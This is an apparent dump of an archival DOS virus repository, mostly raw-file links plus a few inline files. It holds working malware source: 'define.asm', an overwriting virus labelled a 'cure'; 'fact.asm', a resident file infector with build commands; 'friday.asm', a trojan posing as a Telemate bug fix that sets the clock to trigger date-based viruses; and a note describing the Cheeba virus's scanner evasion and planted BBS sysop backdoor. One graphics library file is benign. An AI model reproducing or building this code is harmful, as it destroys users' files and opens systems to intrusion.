code ends 58 | end startvx -------------------------------------------------------------------------------- /virus/c/cheeba.txt: -------------------------------------------------------------------------------- 1 | CHEEBA INFO 2 | ----------- 3 | Strictly personal - DO NOT COPY/SHOW THESE FILES TO ANYONE !!! 4 | 5 | CHEEBA will infect ANY executable file (COM/EXE/OVL but also all other 6 | executable files like PIF / hidden OVLs etc) on copy - this way you do 7 | not hear any difference while starting a program (that way all viruses 8 | are caught). It does not change any interruptvector but places a jump 9 | ON the old I21-vector. It does not install itself when the disk interrupt 10 | is hooked, to prevent being caught by anti-virus software. It does not 11 | infect programs with the string VIRUS in it, to prevent self-checking 12 | programs like McAfee SCAN. 13 | 14 | The virus is self-encrypting, with 510 different forms. The largest scan string 15 | is 3 bytes, so much too short to search for. 16 | 17 | ACTIVATION 18 | ---------- 19 | If the USERS.BBS of Remote Access is opened, the virus creates (if not already 20 | done) a user with SYSOP privilege. 21 | 22 | The user is called in hex: 4D 5A BE 23 | with password: EB 20 B8 24 | 25 | Leave a message if you find a hacked board... 26 | 27 | Have Fun, 28 | SF 29 | -------------------------------------------------------------------------------- /virus/c/cheeser.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cheeser.asm -------------------------------------------------------------------------------- /virus/c/cia2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cia2.asm -------------------------------------------------------------------------------- /virus/c/civil_ii.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/civil_ii.asm -------------------------------------------------------------------------------- /virus/c/cj.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cj.asm -------------------------------------------------------------------------------- /virus/c/cluster1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cluster1.asm -------------------------------------------------------------------------------- /virus/c/cluster2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cluster2.asm -------------------------------------------------------------------------------- /virus/c/coffshp1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/coffshp1.asm -------------------------------------------------------------------------------- /virus/c/collectn.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/collectn.txt -------------------------------------------------------------------------------- /virus/c/comment1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/comment1.asm -------------------------------------------------------------------------------- /virus/c/comment2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/comment2.asm -------------------------------------------------------------------------------- /virus/c/compo.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/compo.asm -------------------------------------------------------------------------------- /virus/c/copcom.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/copcom.asm -------------------------------------------------------------------------------- /virus/c/copyr.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/copyr.asm -------------------------------------------------------------------------------- /virus/c/creepdea.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/creepdea.asm -------------------------------------------------------------------------------- /virus/c/crf.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/crf.asm -------------------------------------------------------------------------------- /virus/c/crimeiib.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/crimeiib.asm -------------------------------------------------------------------------------- /virus/c/crunch20.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/crunch20.asm -------------------------------------------------------------------------------- /virus/c/cybertch.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybertch.asm -------------------------------------------------------------------------------- /virus/c/cybrcide.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybrcide.asm -------------------------------------------------------------------------------- /virus/c/cybtch-b.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybtch-b.asm -------------------------------------------------------------------------------- /virus/c/cybtcha2.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybtcha2.a86 -------------------------------------------------------------------------------- /virus/c/cybtcha2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybtcha2.asm -------------------------------------------------------------------------------- /virus/c/cybtchb2.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybtchb2.a86 -------------------------------------------------------------------------------- /virus/c/cybtchb2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cybtchb2.asm -------------------------------------------------------------------------------- /virus/d/dark: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dark -------------------------------------------------------------------------------- /virus/d/dark.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dark.asm -------------------------------------------------------------------------------- /virus/d/darkapoc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/darkapoc.asm -------------------------------------------------------------------------------- /virus/d/darkvad.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/darkvad.asm -------------------------------------------------------------------------------- /virus/d/darth.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/darth.asm -------------------------------------------------------------------------------- /virus/d/daterape.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/daterape.asm -------------------------------------------------------------------------------- /virus/d/dbase.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dbase.asm -------------------------------------------------------------------------------- /virus/d/dc-b.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dc-b.asm -------------------------------------------------------------------------------- /virus/d/debug.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/debug.asm -------------------------------------------------------------------------------- /virus/d/deep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/deep -------------------------------------------------------------------------------- /virus/d/define.asm: -------------------------------------------------------------------------------- 1 | ;=========================================================================== 2 | ;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS 3 | ;From: Mike Hathorn Refer#: NONE 4 | ;To: All Recvd: NO 5 | ;Subj: define Conf: (54) Virus 6 | ;--------------------------------------------------------------------------- 7 | 8 | ;Gentlemen, 9 | 10 | 11 | ;The following assembly source code is the cure for the define 12 | ;virus. Define, because it is my belief that by the definition 13 | ;of a virus, no stable virus can be written smaller than define. 14 | 15 | ; Code compiled under MASM ver 4.00 16 | ; Use DOS EXE2BIN to convert to .COM file 17 | ; Code assumes SI=100h, AX=00h 18 | ; (c) 1991 Mithrandir 19 | 20 | 21 | TITLE DEFINE 22 | CODE SEGMENT 23 | 24 | 25 | ASSUME CS : CODE 26 | ORG 100h 27 | 28 | 29 | VIRUS_CURE: 30 | XCHG CX,AX ;exchange register values and setup search 31 | ;for normal files 32 | MOV AH,4Eh ;setup search for first match 33 | MOV DX,OFFSET File ;point to search criteria 34 | INT 21h ;search for any normal file 35 | 36 | 37 | MOV AX,3D01h ;setup open file with write access 38 | MOV DX,09Eh ;point to file ASCIIZ spec 39 | INT 21h ;open file 40 | XCHG BX,AX 41 | 42 | 43 | MOV AH,40h ;setup write to file 44 | MOV DX,SI ;write this code 45 | MOV CX,SI ;this many bytes 46 | INT 21h ;write it 47 | 48 | 49 | RET 50 | 51 | 52 | File: 53 | DB '*.*',0 54 | 55 | 56 | CODE ENDS 57 | 58 | 59 | END VIRUS_CURE 60 | 61 | 62 | 63 | ;Mithrandir 64 | 65 | 66 | ;--- Opus-CBCS 1.14 67 | ;* Origin: The Mad Dog Opus (5:7104/3.0) 68 | -------------------------------------------------------------------------------- /virus/d/demo.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/demo.asm -------------------------------------------------------------------------------- /virus/d/demon.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/demon.asm -------------------------------------------------------------------------------- /virus/d/denise.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/denise.asm -------------------------------------------------------------------------------- /virus/d/denzuk.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/denzuk.asm -------------------------------------------------------------------------------- /virus/d/des.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/des.pas -------------------------------------------------------------------------------- /virus/d/destroy.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/destroy.pas -------------------------------------------------------------------------------- /virus/d/devil.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/devil.asm -------------------------------------------------------------------------------- /virus/d/diarrhe4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/diarrhe4.asm -------------------------------------------------------------------------------- /virus/d/diarrhea.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/diarrhea.asm -------------------------------------------------------------------------------- /virus/d/digdeath.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/digdeath.asm -------------------------------------------------------------------------------- /virus/d/digipol.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/digipol.asm -------------------------------------------------------------------------------- /virus/d/dir_8.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dir_8.asm -------------------------------------------------------------------------------- /virus/d/doom.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/doom.asm -------------------------------------------------------------------------------- /virus/d/dos1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dos1.asm -------------------------------------------------------------------------------- /virus/d/dr.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dr.asm -------------------------------------------------------------------------------- /virus/d/dr20-inf.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dr20-inf.asm -------------------------------------------------------------------------------- /virus/d/dragon.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dragon.asm -------------------------------------------------------------------------------- /virus/d/drink_up.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/drink_up.asm -------------------------------------------------------------------------------- /virus/d/drkray.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/drkray.asm -------------------------------------------------------------------------------- /virus/d/dsk_lite.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/d/dsk_lite.txt -------------------------------------------------------------------------------- /virus/e/ear-6.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/ear-6.asm -------------------------------------------------------------------------------- /virus/e/ear.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/ear.asm -------------------------------------------------------------------------------- /virus/e/ear_6.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/ear_6.asm -------------------------------------------------------------------------------- /virus/e/eddie-b.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/eddie-b.asm -------------------------------------------------------------------------------- /virus/e/eddie.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/eddie.asm -------------------------------------------------------------------------------- /virus/e/ee3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/ee3.asm -------------------------------------------------------------------------------- /virus/e/eemvoor1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/eemvoor1.asm -------------------------------------------------------------------------------- /virus/e/eemvoor2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/eemvoor2.asm -------------------------------------------------------------------------------- /virus/e/esperanto.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/esperanto.asm -------------------------------------------------------------------------------- /virus/e/eternit2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/eternit2.asm -------------------------------------------------------------------------------- /virus/e/everfire.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/everfire.a86 -------------------------------------------------------------------------------- /virus/e/everfire.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/everfire.asm -------------------------------------------------------------------------------- /virus/e/exebug.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/exebug.asm -------------------------------------------------------------------------------- /virus/e/exev_sr.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/exev_sr.asm -------------------------------------------------------------------------------- /virus/e/expert.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/expert.asm -------------------------------------------------------------------------------- /virus/e/expert1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/e/expert1.asm -------------------------------------------------------------------------------- /virus/f/faces.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/faces.asm -------------------------------------------------------------------------------- /virus/f/fact.asm: -------------------------------------------------------------------------------- 1 | Fact is a 45 bytes overwriting resident COM/EXE infector. Infects files at 2 | load and/or execute program by overwriting the infected file. 3 | Compile Fact with Turbo Assembler v 4.0 by typing: 4 | TASM /M FACT.ASM 5 | TLINK /t /x FACT.OBJ 6 | 7 | .model tiny 8 | .code 9 | org 100h 10 | code_begin: 11 | mov ax,3521h ; Get interrupt vector 21h 12 | int 21h 13 | mov word ptr [int21_addr],bx 14 | mov word ptr [Int21_addr+02h],es 15 | mov ah,25h ; Set interrupt vector 21h 16 | lea dx,int21_virus ; DX = offset of int21_virus 17 | int 21h 18 | xchg ax,dx ; DX = number of bytes to keep res... 19 | int 27h ; Terminate and stay resident! 20 | int21_virus proc near ; Interrupt 21h of Fact 21 | cmp ah,4bh ; Load and/or execute program? 22 | jne int21_exit ; Not equal? Jump to int21_exit 23 | mov ax,3d01h ; Open file (write) 24 | int 21h 25 | xchg ax,bx ; BX = file handle 26 | push cs ; Save CS at stack 27 | pop ds ; Load DS from stack (CS) 28 | mov ah,40h ; Write to file 29 | mov cx,(code_end-code_begin) 30 | lea dx,code_begin ; DX = offset of code_begin 31 | int21_exit: 32 | db 0eah ; JMP imm32 (opcode 0eah) 33 | code_end: 34 | int21_addr dd ? ; Address of interrupt 21h 35 | virus_name db '[Fact]' ; Name of the virus 36 | endp 37 | end code_begin -------------------------------------------------------------------------------- /virus/f/fade.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fade.asm -------------------------------------------------------------------------------- /virus/f/fbvir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fbvir.asm -------------------------------------------------------------------------------- /virus/f/fbvir.map: -------------------------------------------------------------------------------- 1 | 2 | Start Stop Length Name Class 3 | 4 | 00000H 007B4H 007B5H _TEXT CODE 5 | 007B6H 007B6H 00000H _DATA DATA 6 | 007C0H 00BBFH 00400H STACK STACK 7 | 8 | Program entry point at 0000:07A6 9 | 10 | -------------------------------------------------------------------------------- /virus/f/fbvir.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fbvir.obj -------------------------------------------------------------------------------- /virus/f/feeble.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/feeble.a86 -------------------------------------------------------------------------------- /virus/f/feeble.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/feeble.asm -------------------------------------------------------------------------------- /virus/f/ffire.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/ffire.asm -------------------------------------------------------------------------------- /virus/f/fil.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fil.asm -------------------------------------------------------------------------------- /virus/f/file_id.diz: -------------------------------------------------------------------------------- 1 | Bit Addict [TridenT] - A collection 2 | of his viruses, code and sources. 3 | <-Cicatrix-|05/95> Update 1 4 | -------------------------------------------------------------------------------- /virus/f/fireant.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fireant.asm -------------------------------------------------------------------------------- /virus/f/firecide.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/firecide.asm -------------------------------------------------------------------------------- /virus/f/fish_.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fish_.asm -------------------------------------------------------------------------------- /virus/f/five.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/five.asm -------------------------------------------------------------------------------- /virus/f/flu_not.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/flu_not.asm -------------------------------------------------------------------------------- /virus/f/flue.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/flue.txt -------------------------------------------------------------------------------- /virus/f/fonta.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fonta.asm -------------------------------------------------------------------------------- /virus/f/fornicat.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fornicat.asm -------------------------------------------------------------------------------- /virus/f/friday.asm: -------------------------------------------------------------------------------- 1 | ;-------------------------------------------------------------------; 2 | ; Simple little program to change the date to July 13th, 1990 ; 3 | ; Which just happens to be a Friday...what a coincidence.... ; 4 | ; This should be great fun if you have a virus or a program that ; 5 | ; goes *BOOM* on Friday the 13th, such as the Israel strain ; 6 | ; Have fun, and remember, I'm not responsible if you get your lazy ; 7 | ; ass busted while trying to bring down the damn Pentagon ; 8 | ; Kryptic Night - SMC - RaCK - U<< - PhD ; 9 | ;-------------------------------------------------------------------; 10 | CODE SEGMENT 11 | Assume CS:code,DS:code 12 | ORG 100h 13 | 14 | start: Jmp begin 15 | text1 db ' Telemate bug fix for version 3.0+$ ' ;Bogus filler text 16 | text2 db ' TM.EXE fixed!$ ' ;Bogus filler text 17 | text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change 18 | 19 | Begin proc NEAR 20 | mov ah,05h ;Function 5 - Set Real Time Clock 21 | mov cx,1990h ;What century 22 | mov dx,0713h ;Month/day 23 | int 1ah ;Execute 24 | 25 | 26 | mov ah,09h ;Funtion 9 - Print string 27 | lea dx,text3 ;What text to print 28 | int 21h ;Execute function 09 29 | int 20h ;Quit .COM file 30 | begin endp 31 | CODE ENDS ;End segment 32 | END start ;End program 33 | -------------------------------------------------------------------------------- /virus/f/frodo.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/frodo.asm -------------------------------------------------------------------------------- /virus/f/fumanchu.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/f/fumanchu.asm -------------------------------------------------------------------------------- /virus/g/gadost.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gadost.asm -------------------------------------------------------------------------------- /virus/g/gandalf.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gandalf.asm -------------------------------------------------------------------------------- /virus/g/gc1575a.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gc1575a.asm -------------------------------------------------------------------------------- /virus/g/generic.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/generic.asm -------------------------------------------------------------------------------- /virus/g/globe.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/globe.asm -------------------------------------------------------------------------------- /virus/g/globe.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/globe.pas -------------------------------------------------------------------------------- /virus/g/gmb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gmb.asm -------------------------------------------------------------------------------- /virus/g/gollum.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gollum.asm -------------------------------------------------------------------------------- /virus/g/gomb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gomb.asm -------------------------------------------------------------------------------- /virus/g/gotcha-e.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gotcha-e.asm -------------------------------------------------------------------------------- /virus/g/gotcha17.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gotcha17.asm -------------------------------------------------------------------------------- /virus/g/gotcha4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gotcha4.asm -------------------------------------------------------------------------------- /virus/g/gotcha9.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gotcha9.asm -------------------------------------------------------------------------------- /virus/g/gotcha9e.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gotcha9e.asm -------------------------------------------------------------------------------- /virus/g/gpb.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/g/gpb.txt -------------------------------------------------------------------------------- /virus/g/graflib.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; grafix --- graflib.asm 3 | ; 4 | ; miscellaneous assembly routines 5 | ; 6 | ; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet) 7 | ; 8 | ; Modified 5/29/87 by sss to allow for different memory models 9 | ; 10 | 11 | title graflib 12 | 13 | include macros.ah 14 | 15 | buflen equ 32768 16 | 17 | sseg 18 | endss 19 | 20 | dseg 21 | endds 22 | 23 | buf segment public 'BUF' 24 | db buflen dup(?) 25 | buf ends 26 | 27 | cseg _graflib 28 | 29 | pBegin g_bufseg 30 | 31 | mov ax, buf 32 | ret 33 | 34 | pEnd g_bufseg 35 | 36 | pBegin g_fmemcpy 37 | 38 | push bp 39 | mov bp,sp 40 | push di 41 | push si 42 | push ds 43 | 44 | cld 45 | les di,[bp+argbase] 46 | lds si,[bp+argbase+4] 47 | mov cx,[bp+argbase+8] 48 | shr cx, 1 49 | jnc c1 50 | movsb 51 | c1: rep movsw 52 | 53 | pop ds 54 | pop si 55 | pop di 56 | mov sp,bp 57 | pop bp 58 | ret 59 | 60 | pEnd g_fmemcpy 61 | 62 | pBegin g_fmemset 63 | 64 | push bp 65 | mov bp,sp 66 | push di 67 | push si 68 | 69 | cld 70 | les di,[bp+argbase] 71 | mov al,[bp+argbase+4] 72 | mov ah,al 73 | mov cx,[bp+argbase+6] 74 | shr cx,1 75 | jnc s1 76 | stosb 77 | s1: rep stosw 78 | 79 | pop si 80 | pop di 81 | mov sp,bp 82 | pop bp 83 | ret 84 | 85 | pEnd g_fmemset 86 | 87 | df_ g_fmemcpy 88 | df_ g_fmemset 89 | df_ g_bufseg 90 | 91 | endcs _graflib 92 | 93 | end 94 | -------------------------------------------------------------------------------- 